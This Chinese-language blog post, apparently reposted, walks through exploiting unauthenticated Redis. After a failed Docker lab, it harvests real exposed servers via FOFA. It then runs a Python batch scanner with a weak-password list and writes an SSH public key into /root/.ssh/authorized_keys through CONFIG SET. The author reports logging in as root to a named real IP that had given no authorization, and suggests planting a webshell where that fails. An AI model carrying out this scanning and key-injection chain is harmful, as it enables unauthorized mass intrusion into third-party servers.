Docker環境復現利用Redis未授權訪問漏洞 >> 批量掃描檢測利用


關於Redis

Redis(Remote Dictionary Server ),即遠程字典服務,是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API。從2010年3月15日起,Redis的開發工作由VMware主持。從2013年5月開始,Redis的開發由Pivotal贊助。

漏洞概述

Redis默認情況下,會綁定在0.0.0.0:6379,這樣會將redis服務暴露在公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問redis以及讀取redis的數據,攻擊者在未授權訪問redis的情況下可以利用redis的相關方法,進而成功在redis服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器

而為什么redis的作者不將默認情況下的未授權訪問導致的不安全性問題修改掉,因為作者認為99.99%使用redis的場景都是在沙盒化的環境中,為了0.01%的可能性增加安全規則的同時也增加了復雜性,雖然這個問題並不是不能解決的,但是這在他的設計哲學中仍然是不划算的。

搭建docker漏洞環境

在docekrhub上搜索redis鏡像

docker search redis

拉取鏡像到本地

docker pull redis

查看下載好的鏡像

運行之,並將容器的6379端口映射到主機的6379端口

docker run -p 6379:6379 -d redis

-p 將容器的6379端口映射到主機的6379端口。

-d 將容器后台運行。

因為攻擊機是Windows,下載redis,並使用redis-cli.exe進行連接

.\redis-cli.exe -h 49.235.230.115

連接成功

漏洞利用:

先進行信息搜集

info

查看數據庫中的鍵值對

keys *

以及可以使用(慎用)該命令清空數據庫

flushall

或者

del key 刪除鍵為key的數據

接着嘗試寫ssh-keygen公鑰然后本地使用私鑰登錄服務器

設置redis的備份路徑為/root/.ssh和保存文件名authorized_keys

CONFIG SET dir /root/.ssh

出現錯誤

(error) ERR Changing directory: Permission denied

在網上查了資料之后,說出現該錯誤是因為redis沒有使用root權限啟動,但是當沒有指定用戶啟動docker時,默認的用戶就是root,同時進入該docker實例的bash,也可以看到當前用戶是root,轉了一圈也沒找到解決的辦法,有的博客說是redis版本的問題,替換redis3.0,redis5.0均無效,故直接勸退,放棄攻擊該docker環境

等啥時候想明白這個問題了再更,也歡迎師傅們一起交流

使用FOFA尋找國外的暴露redis現實環境,給出FOFA語法

查找使用指定協議的IP

查找使用mysql的ip

protocol=mysql

查找使用redis的ip

protocol=redis

查找使用mssql的ip

protocol=mssql

查找使用oracle的ip

protocol=oracle

切換目標地區為愛爾蘭

使用FOFA爬取腳本將所有目標都爬取下來並保存在txt中,爬取腳本是以前自己寫的:

https://github.com/Cl0udG0d/Fofa-script

然后開始運行:

擔心拉取速度過快被ban,所以采用了延時,師傅們如果覺得速度太慢了可以將代碼里面的延時改低

先測試了一下,發現fofa的規則改了,重新改一下爬蟲,更新github,然后開始愉快爬取。

爬取結束之后進行批量驗證,這里的代碼魔改自bypass老哥:https://www.cnblogs.com/xiaozi/p/7568272.html

源代碼為:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授權訪問"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密碼:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

但是原腳本只能一個個測試,簡單加強之:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            print u"%s:%s未授權訪問"%(ip,port)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("config set dir /root/.ssh/\r\n")
            content = s.recv(1024)
            print(content)
            if "OK" in content:
                print u"%s:%s .ssh目錄存在且權限足夠"%(ip,port)
            elif "error" in content:
                print u"%s:%s 無法寫入"%(ip,port)
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    print u"%s:%s存在弱口令,密碼:%s" % (ip,port,pass_)
    except Exception, e:
        print e
        pass
if __name__ == '__main__':
    doc = open("hello_world.txt", "r")
    lines = doc.readlines()
    for ip in lines:
        #print(type(ip))
        print(ip.strip())
        check(ip.strip(),6379,timeout=10)
        #print(type(ip))
    doc.close()

 運行之

因為是國外的IP,就不進行打碼了。

redis鏈接

嘗試寫ssh-keygen公鑰登錄服務器,本地生成公私鑰后

config set dir /root/.ssh/
​
config set dbfilename authorized_keys
​
set x "\n\n\n公鑰內容\n\n\n"
​
save

可以看到這兩個服務器有兩個不同的報錯,分別是:

(error) ERR Changing directory: Permission denied

以及

(error) ERR Changing directory: No such file or directory

第一個報錯是我們之前docker搭建的時候遇到的,也就是未使用root權限啟動redis,第二個報錯是因為目標/root/.ssh目錄不存在,不存在的原因是目標未使用過ssh密鑰登錄過服務器,只好對其他IP進行嘗試

另外還可能出現的一個錯誤是:

(error) ERR unknown command ‘config’

當出現這個錯誤,代表redis服務端有做禁止config命令的配置

 

簡單測試后找到一個存在漏洞的IP:

3.17.131.13

使用之前的命令:

config set dir /root/.ssh/
​
config set dbfilename authorized_keys
​
set x "\n\n\n公鑰內容\n\n\n"
​
save

在之前生成本地公私鑰的目錄下執行:

ssh -i id_rsa root@3.17.131.13

服務器登錄成功

另外在查資料的過程中,發現部分服務器報錯

-ERR Changing directory: No such file or directory

的原因有可能不是linux服務器未使用密鑰登錄,而可能是目標為Windows服務器,肯定就沒有 /root/.ssh目錄了,可以使用

config get dir

或者

info

等命令搜集目標信息,確認其操作系統進行進一步滲透

另外對於

(error) ERR Changing directory: Permission denied

錯誤,可以嘗試在其WEB服務目錄寫入一句話木馬從而getshell

 

參考鏈接:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM